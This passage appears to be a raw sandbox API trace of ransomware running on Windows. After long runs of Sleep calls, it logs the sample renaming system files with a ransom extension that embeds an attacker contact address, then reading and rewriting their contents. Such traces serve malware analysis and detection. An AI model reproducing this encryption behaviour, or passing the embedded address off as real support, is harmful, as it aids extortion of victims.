(dwMilliseconds=0x1) [0078.612] Sleep (dwMilliseconds=0x1) [0078.625] Sleep (dwMilliseconds=0x1) [0078.647] Sleep (dwMilliseconds=0x1) [0078.657] Sleep (dwMilliseconds=0x1) [0078.678] Sleep (dwMilliseconds=0x1) [0078.709] Sleep (dwMilliseconds=0x1) [0078.720] Sleep (dwMilliseconds=0x1) [0078.739] Sleep (dwMilliseconds=0x1) [0078.753] Sleep (dwMilliseconds=0x1) [0078.770] Sleep (dwMilliseconds=0x1) [0078.785] Sleep (dwMilliseconds=0x1) [0078.838] Sleep (dwMilliseconds=0x1) [0078.885] Sleep (dwMilliseconds=0x1) [0078.895] Sleep (dwMilliseconds=0x1) [0078.926] Sleep (dwMilliseconds=0x1) [0078.946] Sleep (dwMilliseconds=0x1) [0078.956] Sleep (dwMilliseconds=0x1) [0078.979] Sleep (dwMilliseconds=0x1) [0079.002] Sleep (dwMilliseconds=0x1) [0079.032] Sleep (dwMilliseconds=0x1) [0079.049] Sleep (dwMilliseconds=0x1) [0079.080] Sleep (dwMilliseconds=0x1) [0079.097] Sleep (dwMilliseconds=0x1) [0079.117] Sleep (dwMilliseconds=0x1) [0079.128] Sleep (dwMilliseconds=0x1) [0079.160] Sleep (dwMilliseconds=0x1) [0079.224] Sleep (dwMilliseconds=0x1) [0079.251] Sleep (dwMilliseconds=0x1) [0079.269] Sleep (dwMilliseconds=0x1) [0079.287] Sleep (dwMilliseconds=0x1) [0079.300] Sleep (dwMilliseconds=0x1) [0079.316] Sleep (dwMilliseconds=0x1) [0079.329] Sleep (dwMilliseconds=0x1) [0079.348] Sleep (dwMilliseconds=0x1) [0079.361] Sleep (dwMilliseconds=0x1) [0079.388] Sleep (dwMilliseconds=0x1) [0079.418] Sleep (dwMilliseconds=0x1) [0079.422] Sleep (dwMilliseconds=0x1) [0079.449] Sleep (dwMilliseconds=0x1) [0079.513] Sleep (dwMilliseconds=0x1) [0079.544] Sleep (dwMilliseconds=0x1) [0079.604] Sleep (dwMilliseconds=0x1) [0079.610] Sleep (dwMilliseconds=0x1) [0079.630] Sleep (dwMilliseconds=0x1) [0079.641] Sleep (dwMilliseconds=0x1) [0079.661] Sleep (dwMilliseconds=0x1) [0079.675] Sleep (dwMilliseconds=0x1) [0079.690] Sleep (dwMilliseconds=0x1) [0079.738] Sleep (dwMilliseconds=0x1) [0079.802] Sleep (dwMilliseconds=0x1) [0079.814] Sleep (dwMilliseconds=0x1) [0079.832] Sleep (dwMilliseconds=0x1) [0079.889] Sleep (dwMilliseconds=0x1) [0079.916] Sleep (dwMilliseconds=0x1) [0079.931] Sleep (dwMilliseconds=0x1) [0079.940] Sleep (dwMilliseconds=0x1) [0079.984] Sleep (dwMilliseconds=0x1) [0080.050] Sleep (dwMilliseconds=0x1) [0080.069] Sleep (dwMilliseconds=0x1) [0080.086] Sleep (dwMilliseconds=0x1) [0080.098] Sleep (dwMilliseconds=0x1) [0080.138] Sleep (dwMilliseconds=0x1) [0080.159] Sleep (dwMilliseconds=0x1) [0080.175] Sleep (dwMilliseconds=0x1) [0080.236] Sleep (dwMilliseconds=0x1) [0080.262] Sleep (dwMilliseconds=0x1) [0080.288] Sleep (dwMilliseconds=0x1) [0080.299] Sleep (dwMilliseconds=0x1) [0080.321] Sleep (dwMilliseconds=0x1) [0080.340] Sleep (dwMilliseconds=0x1) [0080.364] Sleep (dwMilliseconds=0x1) [0080.379] Sleep (dwMilliseconds=0x1) [0080.395] Sleep (dwMilliseconds=0x1) [0080.407] Sleep (dwMilliseconds=0x1) [0080.429] Sleep (dwMilliseconds=0x1) [0080.439] Sleep (dwMilliseconds=0x1) [0080.505] Sleep (dwMilliseconds=0x1) [0080.524] Sleep (dwMilliseconds=0x1) [0080.543] Sleep (dwMilliseconds=0x1) [0080.551] Sleep (dwMilliseconds=0x1) [0080.565] Sleep (dwMilliseconds=0x1) [0080.584] Sleep (dwMilliseconds=0x1) [0080.603] Sleep (dwMilliseconds=0x1) [0080.616] Sleep (dwMilliseconds=0x1) [0080.658] Sleep (dwMilliseconds=0x1) [0080.675] Sleep (dwMilliseconds=0x1) [0080.702] Sleep (dwMilliseconds=0x1) [0080.724] Sleep (dwMilliseconds=0x1) [0080.763] Sleep (dwMilliseconds=0x1) [0080.789] Sleep (dwMilliseconds=0x1) [0080.803] Sleep (dwMilliseconds=0x1) [0080.821] Sleep (dwMilliseconds=0x1) [0080.834] Sleep (dwMilliseconds=0x1) [0080.849] Sleep (dwMilliseconds=0x1) [0080.886] Sleep (dwMilliseconds=0x1) [0080.896] Sleep (dwMilliseconds=0x1) [0080.914] Sleep (dwMilliseconds=0x1) [0080.926] Sleep (dwMilliseconds=0x1) [0080.938] Sleep (dwMilliseconds=0x1) [0080.961] Sleep (dwMilliseconds=0x1) [0080.974] Sleep (dwMilliseconds=0x1) [0080.993] Sleep (dwMilliseconds=0x1) [0081.000] Sleep (dwMilliseconds=0x1) [0081.030] Sleep (dwMilliseconds=0x1) [0081.051] Sleep (dwMilliseconds=0x1) [0081.284] Sleep (dwMilliseconds=0x1) [0081.434] Sleep (dwMilliseconds=0x1) [0081.524] Sleep (dwMilliseconds=0x1) [0081.539] Sleep (dwMilliseconds=0x1) [0081.561] Sleep (dwMilliseconds=0x1) [0081.582] Sleep (dwMilliseconds=0x1) [0081.599] Sleep (dwMilliseconds=0x1) [0081.614] Sleep (dwMilliseconds=0x1) [0081.628] Sleep (dwMilliseconds=0x1) [0081.665] Sleep (dwMilliseconds=0x1) [0081.682] Sleep (dwMilliseconds=0x1) [0081.692] Sleep (dwMilliseconds=0x1) [0081.709] Sleep (dwMilliseconds=0x1) [0081.758] Sleep (dwMilliseconds=0x1) [0081.775] Sleep (dwMilliseconds=0x1) [0081.790] Sleep (dwMilliseconds=0x1) [0081.832] Sleep (dwMilliseconds=0x1) [0081.849] Sleep (dwMilliseconds=0x1) [0081.885] Sleep (dwMilliseconds=0x1) [0081.893] Sleep (dwMilliseconds=0x1) [0081.909] Sleep (dwMilliseconds=0x1) [0081.927] Sleep (dwMilliseconds=0x1) [0081.942] Sleep (dwMilliseconds=0x1) [0081.968] Sleep (dwMilliseconds=0x1) [0081.986] Sleep (dwMilliseconds=0x1) [0082.003] Sleep (dwMilliseconds=0x1) [0082.036] Sleep (dwMilliseconds=0x1) [0082.050] Sleep (dwMilliseconds=0x1) [0082.068] Sleep (dwMilliseconds=0x1) [0082.113] Sleep (dwMilliseconds=0x1) [0082.132] Sleep (dwMilliseconds=0x1) [0082.152] Sleep (dwMilliseconds=0x1) [0082.158] Sleep (dwMilliseconds=0x1) [0082.194] Sleep (dwMilliseconds=0x1) [0082.215] Sleep (dwMilliseconds=0x1) [0082.232] Sleep (dwMilliseconds=0x1) [0082.259] Sleep (dwMilliseconds=0x1) [0082.277] Sleep (dwMilliseconds=0x1) [0082.294] Sleep (dwMilliseconds=0x1) [0082.309] Sleep (dwMilliseconds=0x1) [0082.371] Sleep (dwMilliseconds=0x1) [0082.418] Sleep (dwMilliseconds=0x1) [0082.541] Sleep (dwMilliseconds=0x1) [0082.587] Sleep (dwMilliseconds=0x1) [0082.636] Sleep (dwMilliseconds=0x1) [0082.683] Sleep (dwMilliseconds=0x1) [0082.728] Sleep (dwMilliseconds=0x1) [0082.776] Sleep (dwMilliseconds=0x1) [0082.822] Sleep (dwMilliseconds=0x1) [0082.870] Sleep (dwMilliseconds=0x1) [0082.916] Sleep (dwMilliseconds=0x1) [0082.968] Sleep (dwMilliseconds=0x1) [0083.016] Sleep (dwMilliseconds=0x1) [0083.055] Sleep (dwMilliseconds=0x1) [0083.103] Sleep (dwMilliseconds=0x1) [0083.151] Sleep (dwMilliseconds=0x1) [0083.200] Sleep (dwMilliseconds=0x1) [0083.242] Sleep (dwMilliseconds=0x1) [0083.293] Sleep (dwMilliseconds=0x1) [0083.337] Sleep (dwMilliseconds=0x1) [0083.385] Sleep (dwMilliseconds=0x1) [0083.436] Sleep (dwMilliseconds=0x1) [0083.703] Sleep (dwMilliseconds=0x1) [0083.751] Sleep (dwMilliseconds=0x1) [0083.802] Sleep (dwMilliseconds=0x1) [0083.913] Sleep (dwMilliseconds=0x1) [0084.012] Sleep (dwMilliseconds=0x1) [0084.093] Sleep (dwMilliseconds=0x1) [0084.202] Sleep (dwMilliseconds=0x1) [0084.343] Sleep (dwMilliseconds=0x1) [0084.738] Sleep (dwMilliseconds=0x1) [0084.811] Sleep (dwMilliseconds=0x1) [0084.877] Sleep (dwMilliseconds=0x1) [0084.961] Sleep (dwMilliseconds=0x1) [0085.045] Sleep (dwMilliseconds=0x1) [0085.126] Sleep (dwMilliseconds=0x1) [0085.176] Sleep (dwMilliseconds=0x1) [0085.347] Sleep (dwMilliseconds=0x1) [0085.390] Sleep (dwMilliseconds=0x1) [0085.736] Sleep (dwMilliseconds=0x1) [0085.831] Sleep (dwMilliseconds=0x1) [0085.963] Sleep (dwMilliseconds=0x1) [0086.082] Sleep (dwMilliseconds=0x1) [0086.186] Sleep (dwMilliseconds=0x1) [0086.236] Sleep (dwMilliseconds=0x1) [0086.294] Sleep (dwMilliseconds=0x1) [0086.352] Sleep (dwMilliseconds=0x1) [0086.587] Sleep (dwMilliseconds=0x1) [0086.898] Sleep (dwMilliseconds=0x1) [0087.024] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\$GetCurrent\\SafeOS\\preoobe.cmd", len=0x21 | out: pbstr=0x46fff7c*="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 1 [0087.024] GetProcessHeap () returned 0x630000 [0087.024] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0458, Size=0x10) returned 0x6b1268 [0087.024] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0087.074] CloseHandle (hObject=0x620) returned 1 [0087.074] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.074] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.076] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.076] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREOOB~1.FIR")) returned 0x6d5080 [0087.076] FindClose (in: hFindFile=0x6d5080 | out: hFindFile=0x6d5080) returned 1 [0087.076] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0087.080] GetProcessHeap () returned 0x630000 [0087.080] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x61) returned 0x6972a0 [0087.081] GetProcessHeap () returned 0x630000 [0087.081] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x61) returned 0x6977e0 [0087.081] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.081] ReadFile (in: hFile=0x648, lpBuffer=0x6972a0, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6972a0*, lpNumberOfBytesRead=0x46fff0c*=0x40, lpOverlapped=0x0) returned 1 [0087.082] GetProcessHeap () returned 0x630000 [0087.082] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0087.082] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.082] WriteFile (in: hFile=0x648, lpBuffer=0x6977e0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6977e0*, lpNumberOfBytesWritten=0x46fff0c*=0x40, lpOverlapped=0x0) returned 1 [0087.082] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.082] WriteFile (in: hFile=0x648, lpBuffer=0x69781f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x69781f*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0087.082] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.082] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0087.082] CloseHandle (hObject=0x648) returned 1 [0087.083] GetProcessHeap () returned 0x630000 [0087.083] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6977e0 | out: hHeap=0x630000) returned 1 [0087.083] GetProcessHeap () returned 0x630000 [0087.083] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6972a0 | out: hHeap=0x630000) returned 1 [0087.083] GetProcessHeap () returned 0x630000 [0087.083] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0087.085] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.085] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xf9da4068, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x46ffd20, dwReserved1=0x6972a0, cFileName="preoobe.cmd.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREOOB~1.FIR")) returned 0x6d51c0 [0087.085] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0087.085] Sleep (dwMilliseconds=0x1) [0087.091] Sleep (dwMilliseconds=0x1) [0087.109] Sleep (dwMilliseconds=0x1) [0087.472] Sleep (dwMilliseconds=0x1) [0088.038] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", len=0x2c | out: pbstr=0x46fff7c*="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 1 [0088.038] GetProcessHeap () returned 0x630000 [0088.038] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e92d8, Size=0x18) returned 0x6b0418 [0088.038] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0088.039] CloseHandle (hObject=0x67c) returned 1 [0088.039] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.039] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.039] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.040] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5040 [0088.040] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0088.040] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0088.040] GetProcessHeap () returned 0x630000 [0088.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f1df80 [0088.041] GetProcessHeap () returned 0x630000 [0088.041] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f293b0 [0088.041] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.041] ReadFile (in: hFile=0x67c, lpBuffer=0x6f1df80, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1df80*, lpNumberOfBytesRead=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0092.056] GetProcessHeap () returned 0x630000 [0092.056] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8848 [0092.056] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.056] WriteFile (in: hFile=0x67c, lpBuffer=0x6f293b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f293b0*, lpNumberOfBytesWritten=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0093.744] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.744] WriteFile (in: hFile=0x67c, lpBuffer=0x6f347af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f347af*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.744] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.744] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.744] CloseHandle (hObject=0x67c) returned 1 [0093.756] GetProcessHeap () returned 0x630000 [0093.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f293b0 | out: hHeap=0x630000) returned 1 [0093.756] GetProcessHeap () returned 0x630000 [0093.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1df80 | out: hHeap=0x630000) returned 1 [0093.756] GetProcessHeap () returned 0x630000 [0093.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8848 | out: hHeap=0x630000) returned 1 [0093.756] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.756] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xfdd43b22, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12dd4, dwReserved0=0xb407496, dwReserved1=0x6f1df78, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d52c0 [0093.756] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0093.756] Sleep (dwMilliseconds=0x1) [0095.866] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Boot\\es-ES\\memtest.exe.mui", len=0x1d | out: pbstr=0x46fff7c*="C:\\Boot\\es-ES\\memtest.exe.mui") returned 1 [0095.866] GetProcessHeap () returned 0x630000 [0095.866] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b2e8, Size=0x38) returned 0x6d4f80 [0095.867] CreateFileW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0095.867] Sleep (dwMilliseconds=0x1) [0097.886] Sleep (dwMilliseconds=0x1) [0099.477] Sleep (dwMilliseconds=0x1) [0100.793] Sleep (dwMilliseconds=0x1) [0101.515] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Boot\\Fonts\\cht_boot.ttf", len=0x1a | out: pbstr=0x46fff7c*="C:\\Boot\\Fonts\\cht_boot.ttf") returned 1 [0101.515] GetProcessHeap () returned 0x630000 [0101.515] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1388, Size=0xc) returned 0x6b1418 [0101.515] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.335] Sleep (dwMilliseconds=0x1) [0102.351] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Boot\\fr-FR\\memtest.exe.mui", len=0x1d | out: pbstr=0x46fff7c*="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 1 [0102.351] GetProcessHeap () returned 0x630000 [0102.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1388 | out: hHeap=0x630000) returned 1 [0102.352] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.352] Sleep (dwMilliseconds=0x1) [0102.368] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Boot\\it-IT\\memtest.exe.mui", len=0x1d | out: pbstr=0x46fff7c*="C:\\Boot\\it-IT\\memtest.exe.mui") returned 1 [0102.368] GetProcessHeap () returned 0x630000 [0102.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1220 | out: hHeap=0x630000) returned 1 [0102.368] CreateFileW (lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.371] Sleep (dwMilliseconds=0x1) [0102.381] Sleep (dwMilliseconds=0x1) [0102.396] Sleep (dwMilliseconds=0x1) [0102.431] Sleep (dwMilliseconds=0x1) [0102.459] Sleep (dwMilliseconds=0x1) [0102.474] Sleep (dwMilliseconds=0x1) [0102.488] Sleep (dwMilliseconds=0x1) [0102.506] Sleep (dwMilliseconds=0x1) [0102.520] Sleep (dwMilliseconds=0x1) [0102.540] Sleep (dwMilliseconds=0x1) [0102.553] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Boot\\nl-NL\\memtest.exe.mui", len=0x1d | out: pbstr=0x46fff7c*="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 1 [0102.553] GetProcessHeap () returned 0x630000 [0102.553] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1220, Size=0xc) returned 0x6b1268 [0102.554] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.560] Sleep (dwMilliseconds=0x1) [0102.567] Sleep (dwMilliseconds=0x1) [0102.584] Sleep (dwMilliseconds=0x1) [0102.598] Sleep (dwMilliseconds=0x1) [0102.615] Sleep (dwMilliseconds=0x1) [0102.630] Sleep (dwMilliseconds=0x1) [0102.663] Sleep (dwMilliseconds=0x1) [0102.676] Sleep (dwMilliseconds=0x1) [0102.755] Sleep (dwMilliseconds=0x1) [0102.770] Sleep (dwMilliseconds=0x1) [0102.788] Sleep (dwMilliseconds=0x1) [0102.804] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Boot\\qps-ploc\\memtest.exe.mui", len=0x20 | out: pbstr=0x46fff7c*="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned 1 [0102.804] GetProcessHeap () returned 0x630000 [0102.804] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1448, Size=0xc) returned 0x6b1430 [0102.804] CreateFileW (lpFileName="C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 